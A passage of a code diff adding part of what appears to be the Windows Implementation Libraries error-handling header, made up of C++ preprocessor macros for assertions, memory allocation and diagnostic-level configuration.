RESULT_DEBUG +#define __WI_ANALYSIS_ASSUME(_exp) ((void) 0) +#else +// NOTE: Clang does not currently handle __noop correctly and will fail to compile if the argument is not copy +// constructible. Therefore, use 'sizeof' for syntax validation. We don't do this universally for all compilers +// since lambdas are not allowed in unevaluated contexts prior to C++20, which does not appear to affect __noop +#if !defined(_MSC_VER) || defined(__clang__) +#define __WI_ANALYSIS_ASSUME(_exp) ((void)sizeof(_exp)) // Validate syntax on non-debug builds +#else +#define __WI_ANALYSIS_ASSUME(_exp) __noop(_exp) +#endif +#endif +#endif // _PREFAST_ + +//***************************************************************************** +// Assert Macros +//***************************************************************************** + +#ifdef RESULT_DEBUG +#if defined(__clang__) && defined(_WIN32) +// Clang currently mis-handles '__annotation' for 32-bit - https://bugs.llvm.org/show_bug.cgi?id=41890 +#define __WI_ASSERT_FAIL_ANNOTATION(msg) (void)0 +#else +#define __WI_ASSERT_FAIL_ANNOTATION(msg) __annotation(L"Debug", L"AssertFail", msg) +#endif + +#define WI_ASSERT(condition) (__WI_ANALYSIS_ASSUME(condition), ((!(condition)) ? (__WI_ASSERT_FAIL_ANNOTATION(L"" #condition), DbgRaiseAssertionFailure(), FALSE) : TRUE)) +#define WI_ASSERT_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), ((!(condition)) ? (__WI_ASSERT_FAIL_ANNOTATION(L##msg), DbgRaiseAssertionFailure(), FALSE) : TRUE)) +#define WI_ASSERT_NOASSUME WI_ASSERT +#define WI_ASSERT_MSG_NOASSUME WI_ASSERT_MSG +#define WI_VERIFY WI_ASSERT +#define WI_VERIFY_MSG WI_ASSERT_MSG +#define WI_VERIFY_SUCCEEDED(condition) WI_ASSERT(SUCCEEDED(condition)) +#else +#define WI_ASSERT(condition) (__WI_ANALYSIS_ASSUME(condition), 0) +#define WI_ASSERT_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), 0) +#define WI_ASSERT_NOASSUME(condition) ((void) 0) +#define WI_ASSERT_MSG_NOASSUME(condition, msg) ((void) 0) +#define WI_VERIFY(condition) (__WI_ANALYSIS_ASSUME(condition), ((condition) ? TRUE : FALSE)) +#define WI_VERIFY_MSG(condition, msg) (__WI_ANALYSIS_ASSUME(condition), ((condition) ? TRUE : FALSE)) +#define WI_VERIFY_SUCCEEDED(condition) (__WI_ANALYSIS_ASSUME(SUCCEEDED(condition)), ((SUCCEEDED(condition)) ? TRUE : FALSE)) +#endif // RESULT_DEBUG + +#if !defined(_NTDEF_) +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +#endif +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef WIL_AllocateMemory +#ifdef _KERNEL_MODE +#define WIL_AllocateMemory(SIZE) ExAllocatePoolWithTag(NonPagedPoolNx, SIZE, 'LIW') +WI_ODR_PRAGMA("WIL_AllocateMemory", "2") +#else +#define WIL_AllocateMemory(SIZE) HeapAlloc(GetProcessHeap(), 0, SIZE) +WI_ODR_PRAGMA("WIL_AllocateMemory", "1") +#endif +#else +WI_ODR_PRAGMA("WIL_AllocateMemory", "0") +#endif + +#ifndef WIL_FreeMemory +#ifdef _KERNEL_MODE +#define WIL_FreeMemory(MEM) ExFreePoolWithTag(MEM, 'LIW') +WI_ODR_PRAGMA("WIL_FreeMemory", "2") +#else +#define WIL_FreeMemory(MEM) HeapFree(GetProcessHeap(), 0, MEM) +WI_ODR_PRAGMA("WIL_FreeMemory", "1") +#endif +#else +WI_ODR_PRAGMA("WIL_FreeMemory", "0") +#endif + +// It would appear as though the C++17 "noexcept is part of the type system" update in MSVC has "infected" the behavior +// when compiling with C++14 (the default...), however the updated behavior for decltype understanding noexcept is _not_ +// present... So, work around it +#if __WI_LIBCPP_STD_VER >= 17 +#define WI_PFN_NOEXCEPT WI_NOEXCEPT +#else +#define WI_PFN_NOEXCEPT +#endif +/// @endcond + +#if defined(__cplusplus) && !defined(__WIL_MIN_KERNEL) && !defined(WIL_KERNEL_MODE) + +#include +#include // provides the _ReturnAddress() intrinsic +#include // provides 'operator new', 'std::nothrow', etc. +#if defined(WIL_ENABLE_EXCEPTIONS) && !defined(WIL_SUPPRESS_NEW) +#include // provides std::bad_alloc in the windows and public CRT headers +#endif + +#pragma warning(push) +#pragma warning(disable:4714 6262) // __forceinline not honored, stack size + +//***************************************************************************** +// Behavioral setup (error handling macro configuration) +//***************************************************************************** +// Set any of the following macros to the values given below before including Result.h to +// control the error handling macro's trade-offs between diagnostics and performance + +// RESULT_DIAGNOSTICS_LEVEL +// This define controls the level of diagnostic instrumentation that is built into the binary as a +// byproduct of using the macros. The amount of diagnostic instrumentation that is supplied is +// a trade-off between diagnosibility of issues and code size and performance. The modes are: +// 0 - No diagnostics, smallest & fastest (subject to tail-merge) +// 1 - No diagnostics, unique call sites for each macro (defeat's tail-merge) +// 2 - Line number +// 3 - Line number + source filename +// 4 - Line number + source filename + function name +// 5 - Line number + source filename + function name + code within the macro +// By default, mode 3 is used in free builds and mode 5 is used in checked builds. Note that the +// _ReturnAddress() will always be available through all modes when possible. + +// RESULT_INCLUDE_CALLER_RETURNADDRESS +// This controls whether or not the _ReturnAddress() of the function that includes the macro will +// be reported to telemetry. Note that this is in addition to the _ReturnAddress() of the actual +// macro position (which is always reported). The values are: +// 0 - The address is not included +// 1 - The address is included +// The default value is '1'. + +// RESULT_INLINE_ERROR_TESTS +// For conditional macros (other than RETURN_XXX), this controls whether branches will be evaluated +// within the call containing the macro or will be forced into the function called by the macros. +// Pushing branching into the called function reduces code size and the number of unique branches +// evaluated, but increases the instruction count executed per macro. +// 0 - Branching will not happen inline to the macros +// 1 - Branching is pushed into the calling function via __forceinline +// The default value is '1'. Note that XXX_MSG functions are always effectively mode '0' due to the +// compiler's unwillingness to inline var-arg functions. + +// RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST +// RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST +// RESULT_INLINE_ERROR_TESTS_FAIL_FAST +// These defines are identical to those above in form/function, but only applicable to fail fast error +// handling allowing a process to have different diagnostic information and performance characteristics +// for fail fast than for other error handling given the different reporting infrastructure (Watson +// vs Telemetry). + +// Set the default diagnostic mode +// Note that RESULT_DEBUG_INFO and RESULT_SUPPRESS_DEBUG_INFO are older deprecated models of controlling mode +#ifndef RESULT_DIAGNOSTICS_LEVEL +#if (defined(RESULT_DEBUG) || defined(RESULT_DEBUG_INFO)) && !defined(RESULT_SUPPRESS_DEBUG_INFO) +#define RESULT_DIAGNOSTICS_LEVEL 5 +#else +#define RESULT_DIAGNOSTICS_LEVEL 3 +#endif +#endif +#ifndef RESULT_INCLUDE_CALLER_RETURNADDRESS +#define RESULT_INCLUDE_CALLER_RETURNADDRESS 1 +#endif +#ifndef RESULT_INLINE_ERROR_TESTS +#define RESULT_INLINE_ERROR_TESTS 1 +#endif +#ifndef RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST +#define RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST RESULT_DIAGNOSTICS_LEVEL +#endif +#ifndef RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST +#define RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST RESULT_INCLUDE_CALLER_RETURNADDRESS +#endif +#ifndef RESULT_INLINE_ERROR_TESTS_FAIL_FAST +#define RESULT_INLINE_ERROR_TESTS_FAIL_FAST RESULT_INLINE_ERROR_TESTS +#endif + + +//***************************************************************************** +// Win32 specific error macros +//***************************************************************************** + +#define FAILED_WIN32(win32err) ((win32err) != 0) +#define SUCCEEDED_WIN32(win32err) ((win32err) == 0) + + +//***************************************************************************** +// NT_STATUS specific error macros +//***************************************************************************** + +#define FAILED_NTSTATUS(status) (((NTSTATUS)(status)) < 0) +#define SUCCEEDED_NTSTATUS(status) (((NTSTATUS)(status)) >= 0) + + +//***************************************************************************** +// Testing helpers - redefine to run unit tests against fail fast +//***************************************************************************** + +#ifndef RESULT_NORETURN +#define RESULT_NORETURN __declspec(noreturn) +#endif +#ifndef RESULT_NORETURN_NULL +#define RESULT_NORETURN_NULL _Ret_notnull_ +#endif +#ifndef RESULT_NORETURN_RESULT +#define RESULT_NORETURN_RESULT(expr) (void)(expr); +#endif + +//***************************************************************************** +// Helpers to setup the macros and functions used below... do not directly use. +//***************************************************************************** + +/// @cond +#define __R_DIAGNOSTICS(diagnostics) diagnostics.returnAddress, diagnostics.line, diagnostics.file, nullptr, nullptr +#define __R_DIAGNOSTICS_RA(diagnostics, address) diagnostics.returnAddress, diagnostics.line, diagnostics.file, nullptr, nullptr, address +#define __R_FN_PARAMS_FULL _In_opt_ void* callerReturnAddress, unsigned int lineNumber, _In_opt_ PCSTR fileName, _In_opt_ PCSTR functionName, _In_opt_ PCSTR code, void* returnAddress +#define __R_FN_LOCALS_FULL_RA void* callerReturnAddress = nullptr; unsigned int lineNumber = 0; PCSTR fileName = nullptr; PCSTR functionName = nullptr; PCSTR code = nullptr; void* returnAddress = _ReturnAddress(); +// NOTE: This BEGINs the common macro handling (__R_ prefix) for non-fail fast handled cases +// This entire section will be repeated below for fail fast (__RFF_ prefix). +#define __R_COMMA , +#define __R_FN_CALL_FULL callerReturnAddress, lineNumber, fileName, functionName, code, returnAddress +#define __R_FN_CALL_FULL_RA callerReturnAddress, lineNumber, fileName, functionName, code, _ReturnAddress() +// The following macros assemble the varying amount of data we want to collect from the macros, treating it uniformly +#if (RESULT_DIAGNOSTICS_LEVEL >= 2) // line number +#define __R_IF_LINE(term) term +#define __R_IF_NOT_LINE(term) +#define __R_IF_COMMA , +#define __R_LINE_VALUE static_cast(__LINE__) +#else +#define __R_IF_LINE(term) +#define __R_IF_NOT_LINE(term) term +#define __R_IF_COMMA +#define __R_LINE_VALUE static_cast(0) +#endif +#if (RESULT_DIAGNOSTICS_LEVEL >= 3) // line number + file name +#define __R_IF_FILE(term) term +#define __R_IF_NOT_FILE(term) +#define __R_FILE_VALUE __FILE__ +#else +#define __R_IF_FILE(term) +#define __R_IF_NOT_FILE(term) term +#define __R_FILE_VALUE nullptr +#endif +#if (RESULT_DIAGNOSTICS_LEVEL >= 4) // line number + file name + function name +#define __R_IF_FUNCTION(term) term +#define __R_IF_NOT_FUNCTION(term) +#else +#define __R_IF_FUNCTION(term) +#define __R_IF_NOT_FUNCTION(term) term +#endif +#if (RESULT_DIAGNOSTICS_LEVEL >= 5) // line number + file name + function name + macro code +#define __R_IF_CODE(term) term +#define __R_IF_NOT_CODE(term) +#else +#define __R_IF_CODE(term) +#define __R_IF_NOT_CODE(term) term +#endif +#if (RESULT_INCLUDE_CALLER_RETURNADDRESS == 1) +#define __R_IF_CALLERADDRESS(term) term +#define __R_IF_NOT_CALLERADDRESS(term) +#define __R_CALLERADDRESS_VALUE _ReturnAddress() +#else +#define __R_IF_CALLERADDRESS(term) +#define __R_IF_NOT_CALLERADDRESS(term) term +#define __R_CALLERADDRESS_VALUE nullptr +#endif +#if (RESULT_INCLUDE_CALLER_RETURNADDRESS == 1) || (RESULT_DIAGNOSTICS_LEVEL >= 2) +#define __R_IF_TRAIL_COMMA , +#else +#define __R_IF_TRAIL_COMMA +#endif +// Assemble the varying amounts of data into a single macro +#define __R_INFO_ONLY(CODE) __R_IF_CALLERADDRESS(_ReturnAddress() __R_IF_COMMA) __R_IF_LINE(__R_LINE_VALUE) __R_IF_FILE(__R_COMMA __R_FILE_VALUE) __R_IF_FUNCTION(__R_COMMA __FUNCTION__) __R_IF_CODE(__R_COMMA CODE) +#define __R_INFO(CODE) __R_INFO_ONLY(CODE) __R_IF_TRAIL_COMMA +#define __R_INFO_NOFILE_ONLY(CODE) __R_IF_CALLERADDRESS(_ReturnAddress() __R_IF_COMMA) __R_IF_LINE(__R_LINE_VALUE) __R_IF_FILE(__R_COMMA "wil") __R_IF_FUNCTION(__R_COMMA __FUNCTION__) __R_IF_CODE(__R_COMMA CODE) +#define __R_INFO_NOFILE(CODE) __R_INFO_NOFILE_ONLY(CODE) __R_IF_TRAIL_COMMA +#define __R_FN_PARAMS_ONLY __R_IF_CALLERADDRESS(void* callerReturnAddress __R_IF_COMMA) __R_IF_LINE(unsigned int lineNumber) __R_IF_FILE(__R_COMMA _In_opt_ PCSTR fileName) __R_IF_FUNCTION(__R_COMMA _In_opt_ PCSTR functionName) __R_IF_CODE(__R_COMMA _In_opt_ PCSTR code) +#define __R_FN_PARAMS __R_FN_PARAMS_ONLY __R_IF_TRAIL_COMMA +#define __R_FN_CALL_ONLY __R_IF_CALLERADDRESS(callerReturnAddress __R_IF_COMMA) __R_IF_LINE(lineNumber) __R_IF_FILE(__R_COMMA fileName) __R_IF_FUNCTION(__R_COMMA functionName) __R_IF_CODE(__R_COMMA code) +#define __R_FN_CALL __R_FN_CALL_ONLY __R_IF_TRAIL_COMMA +#define __R_FN_LOCALS __R_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __R_IF_NOT_LINE(unsigned int lineNumber = 0;) __R_IF_NOT_FILE(PCSTR fileName = nullptr;) __R_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __R_IF_NOT_CODE(PCSTR code = nullptr;) +#define __R_FN_LOCALS_RA __R_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __R_IF_NOT_LINE(unsigned int lineNumber = 0;) __R_IF_NOT_FILE(PCSTR fileName = nullptr;) __R_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __R_IF_NOT_CODE(PCSTR code = nullptr;) void* returnAddress = _ReturnAddress(); +#define __R_FN_UNREFERENCED __R_IF_CALLERADDRESS((void)callerReturnAddress;) __R_IF_LINE((void)lineNumber;) __R_IF_FILE((void)fileName;) __R_IF_FUNCTION((void)functionName;) __R_IF_CODE((void)code;) +// 1) Direct Methods +// * Called Directly by Macros +// * Always noinline +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1) +#if (RESULT_DIAGNOSTICS_LEVEL == 1) +#define __R_DIRECT_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName +#define __R_DIRECT_NORET_METHOD(RetType, MethodName) template inline __declspec(noinline) RESULT_NORETURN RetType MethodName +#else +#define __R_DIRECT_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __R_DIRECT_NORET_METHOD(RetType, MethodName) inline __declspec(noinline) RESULT_NORETURN RetType MethodName +#endif +#define __R_DIRECT_FN_PARAMS __R_FN_PARAMS +#define __R_DIRECT_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY +#define __R_DIRECT_FN_CALL __R_FN_CALL_FULL_RA __R_COMMA +#define __R_DIRECT_FN_CALL_ONLY __R_FN_CALL_FULL_RA +// 2) Internal Methods +// * Only called by Conditional routines +// * 'inline' when (RESULT_INLINE_ERROR_TESTS = 0 and RESULT_DIAGNOSTICS_LEVEL != 1), otherwise noinline (directly called by code when branching is forceinlined) +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1 and RESULT_INLINE_ERROR_TESTS = 1) +#if (RESULT_DIAGNOSTICS_LEVEL == 1) +#define __R_INTERNAL_NOINLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName +#define __R_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __R_INTERNAL_INLINE_METHOD(MethodName) template inline __declspec(noinline) void MethodName +#define __R_INTERNAL_INLINE_NORET_METHOD(MethodName) template inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __R_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName +#else +#define __R_INTERNAL_NOINLINE_METHOD(MethodName) inline void MethodName +#define __R_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline RESULT_NORETURN void MethodName +#define __R_INTERNAL_INLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName +#define __R_INTERNAL_INLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __R_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName +#endif +#define __R_CALL_INTERNAL_NOINLINE_METHOD(MethodName) MethodName +#define __R_INTERNAL_NOINLINE_FN_PARAMS __R_FN_PARAMS void* returnAddress __R_COMMA +#define __R_INTERNAL_NOINLINE_FN_PARAMS_ONLY __R_FN_PARAMS void* returnAddress +#define __R_INTERNAL_NOINLINE_FN_CALL __R_FN_CALL_FULL __R_COMMA +#define __R_INTERNAL_NOINLINE_FN_CALL_ONLY __R_FN_CALL_FULL +#define __R_INTERNAL_INLINE_FN_PARAMS __R_FN_PARAMS +#define __R_INTERNAL_INLINE_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY +#define __R_INTERNAL_INLINE_FN_CALL __R_FN_CALL_FULL_RA __R_COMMA +#define __R_INTERNAL_INLINE_FN_CALL_ONLY __R_FN_CALL_FULL_RA +#if (RESULT_INLINE_ERROR_TESTS == 0) +#define __R_INTERNAL_METHOD __R_INTERNAL_NOINLINE_METHOD +#define __R_INTERNAL_NORET_METHOD __R_INTERNAL_NOINLINE_NORET_METHOD +#define __R_CALL_INTERNAL_METHOD __R_CALL_INTERNAL_NOINLINE_METHOD +#define __R_INTERNAL_FN_PARAMS __R_INTERNAL_NOINLINE_FN_PARAMS +#define __R_INTERNAL_FN_PARAMS_ONLY __R_INTERNAL_NOINLINE_FN_PARAMS_ONLY +#define __R_INTERNAL_FN_CALL __R_INTERNAL_NOINLINE_FN_CALL +#define __R_INTERNAL_FN_CALL_ONLY __R_INTERNAL_NOINLINE_FN_CALL_ONLY +#else +#define __R_INTERNAL_METHOD __R_INTERNAL_INLINE_METHOD +#define __R_INTERNAL_NORET_METHOD __R_INTERNAL_INLINE_NORET_METHOD +#define __R_CALL_INTERNAL_METHOD __R_CALL_INTERNAL_INLINE_METHOD +#define __R_INTERNAL_FN_PARAMS __R_INTERNAL_INLINE_FN_PARAMS +#define __R_INTERNAL_FN_PARAMS_ONLY __R_INTERNAL_INLINE_FN_PARAMS_ONLY +#define __R_INTERNAL_FN_CALL __R_INTERNAL_INLINE_FN_CALL +#define __R_INTERNAL_FN_CALL_ONLY __R_INTERNAL_INLINE_FN_CALL_ONLY +#endif +// 3) Conditional Methods +// * Called Directly by Macros +// * May be noinline or __forceinline depending upon (RESULT_INLINE_ERROR_TESTS) +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL == 1) +#if (RESULT_DIAGNOSTICS_LEVEL == 1) +#define __R_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName +#define __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __R_CONDITIONAL_INLINE_METHOD(RetType, MethodName) template __forceinline RetType MethodName +#define __R_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __R_CONDITIONAL_PARTIAL_TEMPLATE unsigned int optimizerCounter __R_COMMA +#else +#define __R_CONDITIONAL_NOINLINE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __R_CONDITIONAL_INLINE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __R_CONDITIONAL_INLINE_TEMPLATE_METHOD(RetType, MethodName) __forceinline RetType MethodName +#define __R_CONDITIONAL_PARTIAL_TEMPLATE +#endif +#define __R_CONDITIONAL_NOINLINE_FN_CALL __R_FN_CALL _ReturnAddress() __R_COMMA +#define __R_CONDITIONAL_NOINLINE_FN_CALL_ONLY __R_FN_CALL _ReturnAddress() +#define __R_CONDITIONAL_INLINE_FN_CALL __R_FN_CALL +#define __R_CONDITIONAL_INLINE_FN_CALL_ONLY __R_FN_CALL_ONLY +#if (RESULT_INLINE_ERROR_TESTS == 0) +#define __R_CONDITIONAL_METHOD __R_CONDITIONAL_NOINLINE_METHOD +#define __R_CONDITIONAL_TEMPLATE_METHOD __R_CONDITIONAL_NOINLINE_TEMPLATE_METHOD +#define __R_CONDITIONAL_FN_CALL __R_CONDITIONAL_NOINLINE_FN_CALL +#define __R_CONDITIONAL_FN_CALL_ONLY __R_CONDITIONAL_NOINLINE_FN_CALL_ONLY +#else +#define __R_CONDITIONAL_METHOD __R_CONDITIONAL_INLINE_METHOD +#define __R_CONDITIONAL_TEMPLATE_METHOD __R_CONDITIONAL_INLINE_TEMPLATE_METHOD +#define __R_CONDITIONAL_FN_CALL __R_CONDITIONAL_INLINE_FN_CALL +#define __R_CONDITIONAL_FN_CALL_ONLY __R_CONDITIONAL_INLINE_FN_CALL_ONLY +#endif +#define __R_CONDITIONAL_FN_PARAMS __R_FN_PARAMS +#define __R_CONDITIONAL_FN_PARAMS_ONLY __R_FN_PARAMS_ONLY +// Macro call-site helpers +#define __R_NS_ASSEMBLE2(ri, rd) in##ri##diag##rd // Differing internal namespaces eliminate ODR violations between modes +#define __R_NS_ASSEMBLE(ri, rd) __R_NS_ASSEMBLE2(ri, rd) +#define __R_NS_NAME __R_NS_ASSEMBLE(RESULT_INLINE_ERROR_TESTS, RESULT_DIAGNOSTICS_LEVEL) +#define __R_NS wil::details::__R_NS_NAME +#if (RESULT_DIAGNOSTICS_LEVEL == 1) +#define __R_FN(MethodName) __R_NS:: MethodName <__COUNTER__> +#else +#define __R_FN(MethodName) __R_NS:: MethodName +#endif +// NOTE: This ENDs the common macro handling (__R_ prefix) for non-fail fast handled cases +// This entire section is repeated below for fail fast (__RFF_ prefix). For ease of editing this section, the +// process is to copy/paste, and search and replace (__R_ -> __RFF_), (RESULT_DIAGNOSTICS_LEVEL -> RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST), +// (RESULT_INLINE_ERROR_TESTS -> RESULT_INLINE_ERROR_TESTS_FAIL_FAST) and (RESULT_INCLUDE_CALLER_RETURNADDRESS -> RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST) +#define __RFF_COMMA , +#define __RFF_FN_CALL_FULL callerReturnAddress, lineNumber, fileName, functionName, code, returnAddress +#define __RFF_FN_CALL_FULL_RA callerReturnAddress, lineNumber, fileName, functionName, code, _ReturnAddress() +// The following macros assemble the varying amount of data we want to collect from the macros, treating it uniformly +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 2) // line number +#define __RFF_IF_LINE(term) term +#define __RFF_IF_NOT_LINE(term) +#define __RFF_IF_COMMA , +#else +#define __RFF_IF_LINE(term) +#define __RFF_IF_NOT_LINE(term) term +#define __RFF_IF_COMMA +#endif +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 3) // line number + file name +#define __RFF_IF_FILE(term) term +#define __RFF_IF_NOT_FILE(term) +#else +#define __RFF_IF_FILE(term) +#define __RFF_IF_NOT_FILE(term) term +#endif +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 4) // line number + file name + function name +#define __RFF_IF_FUNCTION(term) term +#define __RFF_IF_NOT_FUNCTION(term) +#else +#define __RFF_IF_FUNCTION(term) +#define __RFF_IF_NOT_FUNCTION(term) term +#endif +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 5) // line number + file name + function name + macro code +#define __RFF_IF_CODE(term) term +#define __RFF_IF_NOT_CODE(term) +#else +#define __RFF_IF_CODE(term) +#define __RFF_IF_NOT_CODE(term) term +#endif +#if (RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST == 1) +#define __RFF_IF_CALLERADDRESS(term) term +#define __RFF_IF_NOT_CALLERADDRESS(term) +#else +#define __RFF_IF_CALLERADDRESS(term) +#define __RFF_IF_NOT_CALLERADDRESS(term) term +#endif +#if (RESULT_INCLUDE_CALLER_RETURNADDRESS_FAIL_FAST == 1) || (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST >= 2) +#define __RFF_IF_TRAIL_COMMA , +#else +#define __RFF_IF_TRAIL_COMMA +#endif +// Assemble the varying amounts of data into a single macro +#define __RFF_INFO_ONLY(CODE) __RFF_IF_CALLERADDRESS(_ReturnAddress() __RFF_IF_COMMA) __RFF_IF_LINE(__R_LINE_VALUE) __RFF_IF_FILE(__RFF_COMMA __R_FILE_VALUE) __RFF_IF_FUNCTION(__RFF_COMMA __FUNCTION__) __RFF_IF_CODE(__RFF_COMMA CODE) +#define __RFF_INFO(CODE) __RFF_INFO_ONLY(CODE) __RFF_IF_TRAIL_COMMA +#define __RFF_INFO_NOFILE_ONLY(CODE) __RFF_IF_CALLERADDRESS(_ReturnAddress() __RFF_IF_COMMA) __RFF_IF_LINE(__R_LINE_VALUE) __RFF_IF_FILE(__RFF_COMMA "wil") __RFF_IF_FUNCTION(__RFF_COMMA __FUNCTION__) __RFF_IF_CODE(__RFF_COMMA CODE) +#define __RFF_INFO_NOFILE(CODE) __RFF_INFO_NOFILE_ONLY(CODE) __RFF_IF_TRAIL_COMMA +#define __RFF_FN_PARAMS_ONLY __RFF_IF_CALLERADDRESS(void* callerReturnAddress __RFF_IF_COMMA) __RFF_IF_LINE(unsigned int lineNumber) __RFF_IF_FILE(__RFF_COMMA _In_opt_ PCSTR fileName) __RFF_IF_FUNCTION(__RFF_COMMA _In_opt_ PCSTR functionName) __RFF_IF_CODE(__RFF_COMMA _In_opt_ PCSTR code) +#define __RFF_FN_PARAMS __RFF_FN_PARAMS_ONLY __RFF_IF_TRAIL_COMMA +#define __RFF_FN_CALL_ONLY __RFF_IF_CALLERADDRESS(callerReturnAddress __RFF_IF_COMMA) __RFF_IF_LINE(lineNumber) __RFF_IF_FILE(__RFF_COMMA fileName) __RFF_IF_FUNCTION(__RFF_COMMA functionName) __RFF_IF_CODE(__RFF_COMMA code) +#define __RFF_FN_CALL __RFF_FN_CALL_ONLY __RFF_IF_TRAIL_COMMA +#define __RFF_FN_LOCALS __RFF_IF_NOT_CALLERADDRESS(void* callerReturnAddress = nullptr;) __RFF_IF_NOT_LINE(unsigned int lineNumber = 0;) __RFF_IF_NOT_FILE(PCSTR fileName = nullptr;) __RFF_IF_NOT_FUNCTION(PCSTR functionName = nullptr;) __RFF_IF_NOT_CODE(PCSTR code = nullptr;) +#define __RFF_FN_UNREFERENCED __RFF_IF_CALLERADDRESS(callerReturnAddress;) __RFF_IF_LINE(lineNumber;) __RFF_IF_FILE(fileName;) __RFF_IF_FUNCTION(functionName;) __RFF_IF_CODE(code;) +// 1) Direct Methods +// * Called Directly by Macros +// * Always noinline +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#define __RFF_DIRECT_METHOD(RetType, MethodName) template inline __declspec(noinline) RetType MethodName +#define __RFF_DIRECT_NORET_METHOD(RetType, MethodName) template inline __declspec(noinline) RESULT_NORETURN RetType MethodName +#else +#define __RFF_DIRECT_METHOD(RetType, MethodName) inline __declspec(noinline) RetType MethodName +#define __RFF_DIRECT_NORET_METHOD(RetType, MethodName) inline __declspec(noinline) RESULT_NORETURN RetType MethodName +#endif +#define __RFF_DIRECT_FN_PARAMS __RFF_FN_PARAMS +#define __RFF_DIRECT_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY +#define __RFF_DIRECT_FN_CALL __RFF_FN_CALL_FULL_RA __RFF_COMMA +#define __RFF_DIRECT_FN_CALL_ONLY __RFF_FN_CALL_FULL_RA +// 2) Internal Methods +// * Only called by Conditional routines +// * 'inline' when (RESULT_INLINE_ERROR_TESTS_FAIL_FAST = 0 and RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST != 1), otherwise noinline (directly called by code when branching is forceinlined) +// * May be template-driven to create unique call sites if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1 and RESULT_INLINE_ERROR_TESTS_FAIL_FAST = 1) +#if (RESULT_DIAGNOSTICS_LEVEL_FAIL_FAST == 1) +#define __RFF_INTERNAL_NOINLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName +#define __RFF_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __RFF_INTERNAL_INLINE_METHOD(MethodName) template inline __declspec(noinline) void MethodName +#define __RFF_INTERNAL_INLINE_NORET_METHOD(MethodName) template inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __RFF_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName +#else +#define __RFF_INTERNAL_NOINLINE_METHOD(MethodName) inline void MethodName +#define __RFF_INTERNAL_NOINLINE_NORET_METHOD(MethodName) inline RESULT_NORETURN void MethodName +#define __RFF_INTERNAL_INLINE_METHOD(MethodName) inline __declspec(noinline) void MethodName +#define __RFF_INTERNAL_INLINE_NORET_METHOD(MethodName) inline __declspec(noinline) RESULT_NORETURN void MethodName +#define __RFF_CALL_INTERNAL_INLINE_METHOD(MethodName) MethodName +#endif +#define __RFF_CALL_INTERNAL_NOINLINE_METHOD(MethodName) MethodName +#define __RFF_INTERNAL_NOINLINE_FN_PARAMS __RFF_FN_PARAMS void* returnAddress __RFF_COMMA +#define __RFF_INTERNAL_NOINLINE_FN_PARAMS_ONLY __RFF_FN_PARAMS void* returnAddress +#define __RFF_INTERNAL_NOINLINE_FN_CALL __RFF_FN_CALL_FULL __RFF_COMMA +#define __RFF_INTERNAL_NOINLINE_FN_CALL_ONLY __RFF_FN_CALL_FULL +#define __RFF_INTERNAL_INLINE_FN_PARAMS __RFF_FN_PARAMS +#define __RFF_INTERNAL_INLINE_FN_PARAMS_ONLY __RFF_FN_PARAMS_ONLY 